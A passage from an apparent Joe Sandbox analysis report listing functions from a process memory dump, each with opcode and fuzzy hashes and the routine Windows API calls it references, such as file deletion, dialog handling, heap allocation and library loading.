Opcode ID: a2d85c985ba81a08c62440a231e6bbcf5bd3a0df4600188b1d5a237c54a3a62d
Instruction ID: 165f11daceb6585a56fc762c61371c5aa2b8207fb80586ae972b814d3e288563
Opcode Fuzzy Hash: a2d85c985ba81a08c62440a231e6bbcf5bd3a0df4600188b1d5a237c54a3a62d
Instruction Fuzzy Hash: 6CF065351002097FEF01AF61CC41FDA37ACAF087D5F089055B94DE5060DB71DAA8DB50

Function 00E8262F Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(000000FF,?,?,00E81CCF,?,?,00E81B21,?,?,?,?,?,00EA700F,000000FF), ref: 00E82640

Part of subcall function 00E83553: _wcslen.LIBCMT ref: 00E83577

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00E81CCF,?,?,00E81B21,?,?,?,?,?,00EA700F), ref: 00E8266E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 21b94773a2c0c9b0785d700d67e38329e992cf998568eba34ecb2b12eacd9498
Instruction ID: 21a95b3dab5f8bcc868acdc1f907ae1a50440f51549a1385402451d1ba9111b9
Opcode Fuzzy Hash: 21b94773a2c0c9b0785d700d67e38329e992cf998568eba34ecb2b12eacd9498
Instruction Fuzzy Hash: D2E09231140209AFEF01AF71DC41BD9379CAB08785F449025B949F2050EB60ED98DA54

Function 00E8FE9C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00EA700F,000000FF), ref: 00E8FED0
CoUninitialize.COMBASE(?,?,?,?,00EA700F,000000FF), ref: 00E8FED5

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 0fc7c553704901d80e67c0d65eb79f104bb44bd009bbc76f9ddfd6a019b73289
Instruction ID: 5fded6f8fc549abd35895379de336414d481018fe12f6729d5c4536833bec205
Opcode Fuzzy Hash: 0fc7c553704901d80e67c0d65eb79f104bb44bd009bbc76f9ddfd6a019b73289
Instruction Fuzzy Hash: 47E06572504650DFC711DB59EC45B55FBF9FB8DB20F004629F416A3761CB747801CA90

Function 00E92E9E Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E92EC8

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

SetDlgItemTextW.USER32(00000065,?), ref: 00E92EDF

Part of subcall function 00E905A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E905B9
Part of subcall function 00E905A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E905CA
Part of subcall function 00E905A8: IsDialogMessageW.USER32(00020482,?), ref: 00E905DE
Part of subcall function 00E905A8: TranslateMessage.USER32(?), ref: 00E905EC
Part of subcall function 00E905A8: DispatchMessageW.USER32(?), ref: 00E905F6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 65b82c07add9b56841b3a953a4da5e50b72a8c14c78e8ae97cf89a388bd7871a
Instruction ID: a36065d80752ef94aaaaad18f861d76353275eeb5df5ed0e97f9d3cc23ad0d7d
Opcode Fuzzy Hash: 65b82c07add9b56841b3a953a4da5e50b72a8c14c78e8ae97cf89a388bd7871a
Instruction Fuzzy Hash: 87E0D8B740024C7EEF01B776CC0AFEA3AECAB08785F440461B249B61B3D6B5DB158B61

Function 00E82692 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?), ref: 00E826A3

Part of subcall function 00E83553: _wcslen.LIBCMT ref: 00E83577

GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00E826CF

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 7d25c7b31938ce69478037bf24e792199fe13f6d57b55124abb6e4ab321e1338
Instruction ID: 8971ef746226cf969c29e9e4233583c8b6d41d1e794aaeb3ac4a8bcd28939047
Opcode Fuzzy Hash: 7d25c7b31938ce69478037bf24e792199fe13f6d57b55124abb6e4ab321e1338
Instruction Fuzzy Hash: C4E092315001286BDF12BB68CC04BD977A8EB093E5F044161BE8DF3190DA71AE849BA0

Function 00E86B47 Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E86B62
LoadLibraryW.KERNEL32(?,?,00E8583E,Crypt32.dll,00000000,00E858C2,?,?,00E858A4,?,?,?,?), ref: 00E86B84

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: e12b28d383177521d3eb0f7ed495f6398dac605dd4093993b48e11418f1b9967
Instruction ID: a712a5e3117b665968f00396fcaf272ea5b9bade64508648f2ca93071b37b980
Opcode Fuzzy Hash: e12b28d383177521d3eb0f7ed495f6398dac605dd4093993b48e11418f1b9967
Instruction Fuzzy Hash: 55E012B24001186ADF11A7A59C48FDB77ACAB0D3D6F0400617949F2004DAB4EA888BB0

Function 00E8F5D9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00E8F5FA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00E8F601

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 3be020d9a1edcda8e49d30ce85986cf67bfa1c97fe69561acd568a7c71456418
Instruction ID: 47c5d34d832928b2badc1359ca6d83ae65795ac8c3aa07b133d82488b1e2e53d
Opcode Fuzzy Hash: 3be020d9a1edcda8e49d30ce85986cf67bfa1c97fe69561acd568a7c71456418
Instruction Fuzzy Hash: 83E0ED71900218EBCB50EF54C941699B7E8EB48364F20916AE89AB3251E6B0AF04DB91

Function 00E9750C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E9752A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00E97535

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 99da603689f40cd49a0a7848d65e8e849e7035d63eaabaa714da9ad4f4e94972
Instruction ID: 5f6a67ef15019536a21fb9d195e373d43b5e0ca68f8fe08f1234bfc234370342
Opcode Fuzzy Hash: 99da603689f40cd49a0a7848d65e8e849e7035d63eaabaa714da9ad4f4e94972
Instruction Fuzzy Hash: 59D0A92482C3019CCF802AB13E0249B23C019027787A23396E8B0FA1E2EE20880C686A

Function 00E811C1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00E811D6
ShowWindow.USER32(00000000), ref: 00E811DD

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: a570a255c9b1ee4b0a772d7fba6a190a8197edadd0e5895f06372e4c704dc753
Instruction ID: 609bfc66641c64f53cc3404a67fd0e82f2f5b16cc0071da06711043ecf46f214
Opcode Fuzzy Hash: a570a255c9b1ee4b0a772d7fba6a190a8197edadd0e5895f06372e4c704dc753
Instruction Fuzzy Hash: 4FC01272059286BECB015BB2DC0DC2ABBE8ABA8212F12C908F0A5D10A1C238C414DB11

Function 00E811A3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00E811B1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00E811B8

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 6735f4742d194c8a21f34017e83389397539b5d6b4a1bd3cd9e0a0bbf28af6a2
Instruction ID: aa7cbd1d1c9ca4216386809364086f9c900abec0ad991739ec0ae295e9673e9d
Opcode Fuzzy Hash: 6735f4742d194c8a21f34017e83389397539b5d6b4a1bd3cd9e0a0bbf28af6a2
Instruction Fuzzy Hash: FCC04C76409285BFCB019BA19D4CC2FBFF9AB94311F12C809B1A595061C6358414DB11

Function 00E8A4A5 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00E8A4C6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: __allrem
String ID:
API String ID: 2933888876-0
Opcode ID: 494f8aabe7dc8206cc470379c2152c5dbceb2f7621ec16e0c35f418d3132d4e5
Instruction ID: 08c3f003b2ec3f7a121803e21a8eda9f3b9c18f894aeaceab20084157328d0d8
Opcode Fuzzy Hash: 494f8aabe7dc8206cc470379c2152c5dbceb2f7621ec16e0c35f418d3132d4e5
Instruction Fuzzy Hash: 87319471609610CFDB15DF2AFC54E2977A5B78C724B19413AE909F7360D733AC0A8B91

Function 00E9F618 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00E9F678

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b138158480d790220c60f1c06feb04ccf507c5d805afc2affba74b7ecbfc2d48
Instruction ID: 1d96a89db1e7b0b4370df0a8f63ee05cd800183b63a3afe39c01d99d16fc885c
Opcode Fuzzy Hash: b138158480d790220c60f1c06feb04ccf507c5d805afc2affba74b7ecbfc2d48
Instruction Fuzzy Hash: 7C11E333A11724AF9F22DE29EC8189A7395AB843647160230FC15FB369DB30EC4586D1

Function 00EA0DF9 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00E9FAB6: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00E9E133,00000001,00000364,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9FAF7

_free.LIBCMT ref: 00EA0E65

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 35e40875278c51e33762d8e5a3ae066d161879bcf4843a14a00897b1f4e9131f
Instruction ID: 524e1cd1974cbf660ee3f139cbd8cdfa1c6f8c02041196d343e8cf1242f18395
Opcode Fuzzy Hash: 35e40875278c51e33762d8e5a3ae066d161879bcf4843a14a00897b1f4e9131f
Instruction Fuzzy Hash: 9201D6722003496BEB258E65D88595AFBD9EB8A370F25092DE594A7280EA30AC05C764

Function 00E92A92 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E92A97

Part of subcall function 00E869E4: _wcslen.LIBCMT ref: 00E869FA

Part of subcall function 00E8DC56: __EH_prolog.LIBCMT ref: 00E8DC5B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: d4795e14cc4fd4967d1453c1e962a02de4d5d060ae4bd67c0cda1a2711ea5eb2
Instruction ID: 2fa33e66f54ed64af7774fb23e5bac2069c4d756a79d2ced263948f294450efe
Opcode Fuzzy Hash: d4795e14cc4fd4967d1453c1e962a02de4d5d060ae4bd67c0cda1a2711ea5eb2
Instruction Fuzzy Hash: B201D87250A380AED701AB69FC037597FE1E755314F10601BE448763A3E7F51549C721

Function 00E9FAB6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00E9E133,00000001,00000364,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9FAF7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe679f52e6ed1bc355ecbd805a24c138d7314f56fcfd49cce356047c6c5b0c67
Instruction ID: 0636605c40f298244ca53c897e4d5b4613dc505d3201d4ac42be966f74860db7
Opcode Fuzzy Hash: fe679f52e6ed1bc355ecbd805a24c138d7314f56fcfd49cce356047c6c5b0c67
Instruction Fuzzy Hash: A3F0E931604224AADF315E22EC15B9B3788EF417B4B1DA031FC08F6194DAB0DC0082E0

Function 00E98592 Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00E985C4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: c838cb1de2b76389113de94f5d48d63e25a4243fddf6a2eea6c5e8483e5a9096
Instruction ID: 231efa7b41779dc6cd7f75f0243659101d37342ce17afc9d2b803c03ee141e6c
Opcode Fuzzy Hash: c838cb1de2b76389113de94f5d48d63e25a4243fddf6a2eea6c5e8483e5a9096
Instruction Fuzzy Hash: 30F0A03220435A9FCF118FA9EE2089B77A9BF467657111525FE14F61A0DF30D928CB90

Function 00E9DA90 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00E98B1E,?,0000015D,?,?,?,?,00E99FFA,000000FF,00000000,?,?), ref: 00E9DAC2

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 90da5cf80e174da834a3b5e89537e995e3712fa66f8e3b175c13a1073bd1b911
Instruction ID: 20374e37d6396a103b3ad84d8ce0eccd58551e2ec43b8afab37768f8dff31a50
Opcode Fuzzy Hash: 90da5cf80e174da834a3b5e89537e995e3712fa66f8e3b175c13a1073bd1b911
Instruction Fuzzy Hash: F8E06D3110D234AAEE212A769D01BAA36999F427F4F1A6120BC04B62A1DAE4DC2182E0

Function 00E85960 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E85996

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 6461d7e699e14e90cc700b1d000fabc94daae1be8b5a206dfd0e6fb8e739b47e
Instruction ID: 2a3259111b87c22203d89ac612f104d5feec25c8fc8141f6cd97f79eec2168b7
Opcode Fuzzy Hash: 6461d7e699e14e90cc700b1d000fabc94daae1be8b5a206dfd0e6fb8e739b47e
Instruction Fuzzy Hash: 3EE0D8726102507CD66172296C01FE79BEC8FAAB74F14502FF1ADF61C1DAD0548583B2

Function 00E829CB Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00E82AF9: FindFirstFileW.KERNEL32(?,?), ref: 00E82B22
Part of subcall function 00E82AF9: FindFirstFileW.KERNEL32(?,?,?,?,00000800), ref: 00E82B50
Part of subcall function 00E82AF9: GetLastError.KERNEL32(?,?,00000800), ref: 00E82B5C

FindClose.KERNEL32(00000000), ref: 00E829F6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
